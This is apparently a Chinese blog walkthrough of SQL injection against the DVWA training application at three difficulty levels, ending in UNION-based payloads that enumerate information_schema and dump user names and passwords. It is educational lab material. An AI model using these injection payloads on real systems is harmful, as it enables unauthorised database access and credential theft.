23IsBallin

喜欢唱, 跳, rap, 还有篮球!

DVWA - SQL注入(Low, Medium, High)

0x00 前言

为什么会产生SQL注入?

当web向应用后台数据库传递SQL语句进行数据库操作时,如果对用户输入的信息没有严谨的过滤的话,攻击者就可以构造特殊的SQL语句进行攻击。违背了“数据与代码分离”的原则。

SQL注入漏洞的两个关键:用户控制输入的内容;Web应用把用户输入的内容带入到数据库中执行。

0x01 Level - Low

SQL Injection

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件,据说黑客依靠的就是常见的SQL注入漏洞。

源代码:

SQL语句:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'; ";

改变的地方是, $id

"SELECT first_name, last_name FROM users WHERE user_id = ' 1 '; ";

1. 测试 {$id}是用单引号 还是 双引号 包着的:

有引号, 字符型;

没引号, 数字型;

— 输入{’}测试:

输入后完整语句为:

"SELECT first_name, last_name FROM users WHERE user_id = ' ' ' ; ";(输入为单引号,会和前面的单引号闭合,形成语法错误)

— 输入 {”}测试:

输入后完整语句为:

"SELECT first_name, last_name FROM users WHERE user_id = ' " '; ";(输入的值为双引号,因为数据库没有这个数据,所以是返回空值。)

— $id = 1’ OR 1 = 1#:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

代入sql 语句后:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 1#';";

因为1=1 始终为真,所以where 后面的条件已经始终为真,可以忽略筛选条件。

语句相当于:SELECT first_name, last_name FROM users;

为什么要用 “#” 注释, 因为不用注释的话, 后面的{ ‘; } 这部分会出现语法错误. 而前面 { 1 = 1 }是个条件语句,所以不用其他符号.

最后结果为:

— $id = 1’ OR 1 = 2#:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

代入sql 语句后:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1 = 2#';";

因为1=2返回 false, 但是, 前面 user_id = 1 是 true, 有返回值.

所以,语句相当于: SELECT first_name, last_name FROM user_id = 1;

为什么要用 “#” 注释, 因为不用注释的话, 后面的{ ‘; } 这部分会出现语法错误. 而前面 { 1 = 2 }是个条件语句,所以不用其他符号.

最后结果为:

— $id = 1’ AND 1 = 1#:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

代入sql 语句后:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' AND 1=1#';";

因为 1 = 1 返回true 值, 又应为 前面 的 1 值 是查询 id = 1 的账号. 对比前面的 OR 运算符, 因为 AND 始终只返回一条查询结果, 所以最终结果为:

— $id = 1’ AND 1 = 2#:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

代入sql 语句后:

$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' AND 1=2#';";

因为1=2 这个 条件语句 返回 false 的值, 又因为 这里用了 AND运算符, 所以where 后面整条语句返回 false, 不会执行任何查询.

  1. 猜解SQL查询语句中的字段数

字段数就是, 源代码里面 select 后面 跟着 多少个 column, 在这里的就是 first_name, last_name. 因为我们知道源代码, 所以我们知道是两个. 但是如果在我们真是情况中, 我们不知道查询语句里面有多少个真是字段数,我们就要用到 ORDER BY 后面 跟 数字来猜测.

sql语句中order by 1或者order by 2…order by N; 其实1表示第一个栏位,2表示第二栏位;

order by 后面也能跟真实的列名, 但是实际情况我们是不知道的.

- 测试 1’ ORDER BY N;

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

— ORDER BY 1, 代入sql语句之后:

$query = "SELECT first_name,last_name FROM users WHERE user_id = '1' ORDER BY 1 #';";

测试结果:

— ORDER BY 2, 代入sql语句之后:

$query = “SELECT first_name,last_name FROM users WHERE user_id = ‘1’ ORDER BY 2 #’;”;

测试结果:

— ORDER BY 3, 代入sql语句之后:

$query = “SELECT first_name,last_name FROM users WHERE user_id = ‘1’ ORDER BY 3 #’;”;

测试结果:

经过试验, 查询语句的字段数(多少列) 只有 2

- 测试 with UNION SELECT 1,2,3…. 来判断多少字段数:

— 1’ or 1=1 UNION select 1;# :

— 1’ or 1=1 UNION select 1,2;# :

— 1’ or 1=1 UNION select 1,2,3;# :

  1. 确定显示的字段顺序

SQL UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同

— 1’ UNION SELECT 1,2;

查询结果为:

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

4.获取当前数据库

这里 需要用到 database() 函数来查询 当前查询语句查询的数据来自什么数据库.

— 1’ UNION select 1,database();

Information_schema 补充知识:

MySQL的information_schema库

information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。 如数据库名,数据库的表,表栏的数据类型与访问权限等。 再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表, 每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema里面。

  1. information_schema的表schemata中的列schema_name记录了所有数据库的名字
  2. information_schema的表tables中的列table_schema记录了所有数据库的名字
  3. information_schema的表tables中的列table_name记录了所有数据库的表的名字
  4. information_schema的表columns中的列table_schema记录了所有数据库的名字
  5. information_schema的表columns中的列table_name记录了所有数据库的表的名字
  6. information_schema的表columns中的列column_name记录了所有数据库的表的列的名字

information_schema的SCHEMATA表

information_schema的TABLES表

information_schema的COLUMNS表

5.获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

sql 语句解释: 选择 1 和 table_name 位于 information_schema 数据库 里面的 tables 表, 而且 这些table_name 的 table_schema 列存放的是当前搜索语句访问的数据库.

- group_concat() 函数解释:

group_concat()函数

  1. 功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
  2. 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )

说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。

  • table_name: 试在 tables 表格里面的 其中一列, 存放所有表名称的数据;
  • informational_schema.tables: 直接调用 informational_schema 数据库 里面的 tables 表;
  • table_schema: 在tables 表里面 的 table_schema 列, 存放 数据库名称.

concat()函数

  1. 功能:将多个字符串连接成一个字符串。
  2. 语法:concat(str1, str2,…) 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
  3. 语法:concat(str1, seperator,str2,seperator,…) 返回结果为连接参数产生的字符串并且有分隔符,如果有任何一个参数为null,则返回值为null。

concat_ws()函数

  1. 功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)
  2. 语法:concat_ws(separator, str1, str2, …) 第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

6.获取表中的字段名(column_name)

1' UNION SELECT 111, group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' #

ID: 1’ UNION SELECT 111, group_concat(column_name) FROM information_schema.columns WHERE table_name = ‘users’ #

First name: 1

Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

上面就是 users table 里面的所有列的名字.

7.下载数据

1' or 1=1 union select group_concat(user_id,0x7c,first_name,0x7c,last_name),group_concat(password) from users #

0x02 Level - Medium

Source Code:

1.判断是否存在注入,注入是字符型还是数字型

这里我使用了hackbar 来测试, 也可以 用 Burpsuite 抓按了 submit 之后的 包, 然后再send to repeater 做测试, 两种方法截图如下:

Burpsuite:

- 先把浏览器的代理设置到和Burpsuite 一样 (127.0.0.1 端口8080)

- 然后把抓到的包send to repeater 再修改包里面的信息, 按go 发送 来测试.

Hackbar:

修改 Post data 里面的 语句 按 execute 来测试.

首先, 测试这个注入是数字型还是字符型注入:

— 测试 1’ or 1 = 1;

— 测试 1 or 1 = 1;

所以判断,这个是数字型注入. 而且 添加了过滤!

2.猜解SQL查询语句中的字段数

猜字段数需要用到UNION select 1, 2, 3 ….. 这个方法, 测试后结果如图下:

经过测试, 查询语句中的字段数 为 2!

也可以用 ORDER BY N 来测试多少个字段数:

SELECT column_1, column_2, … ,column_N from user WHERE id = 1 or 1 = 1 ORDER BY N;

原理: 因为 ORDER BY 是按哪个列来排序, 如果不知道实际列名的情况下, 用数字来代替,就是查询语句的第N个字符段来排序.

3.确定显示的字段顺序

所以顺序是, 第一个字段是是 first name 的显示位置, 第二个字段的显示位置就是 surename 那.

4.获取当前数据库

这里要用到 database();

所以构造 联合查询语句 UNION SELECT,

$query = "SELECT first_name, last_name FROM users WHERE user_id = 1 UNION SELECT 1, database(); # ;";

测试结果 database 名 是 dvwa.

5.获取数据库中的表

这里需要用到information_schema 的数据库;

要查表名的话, 去information_schema 数据库里面的 tables 表 里面的 table_name 列. 所以写成SQL语句的话就是: SELECT table_name FROM information_schema.tables;

现在这个moment, 我们的要求是 获取 dvwa 里面所有表的名字, 所以要加一个WHERE 条件语句.

table_schema = dvwa;

id = 1 UNION SELECT 1, group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'dvwa' ; #&Submit=Submit

$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

因为用了mysqli_real_escape_string(); 函数, 这个函数会过滤掉

把dvwa 转化成 hex 码, 不用带‘’ 号, 得到结果:

6.获取表中的字段名

表中的字段名,column_name 里面存放着。所以我们要去 infomation_schema 数据库里面的 columns 表 里面的 column_name 列 里面找。所以SQL语句为:

SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = users;

所以最后查询语句为:

id=1 UNION SELECT 1, group_concat(column_name) FROM information_schema.columns WHERE table_name = 0x7573657273; #&Submit=Submit

column_name = {user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password}

7.下载数据表里面的所有数据

知道了数据库名(dvwa),表名(guestbook,users),users的所有列命,现在就可以打印有用的信息,例如user,password 等等;

id=1 UNION SELECT group_concat(first_name, 0x7c, last_name), group_concat(user,0x7c,password) FROM users; #&Submit=Submit

0x03 Level - High

Source Code:

最高等级和前面的low 等级一样, 虽然后面加了个 LIMIT 1 来限制输出结果,但是可以加# 来注释掉.

1' UNION SELECT group_concat(first_name, 0x7c, last_name), group_concat(user, 0x7c, password) FROM users; #))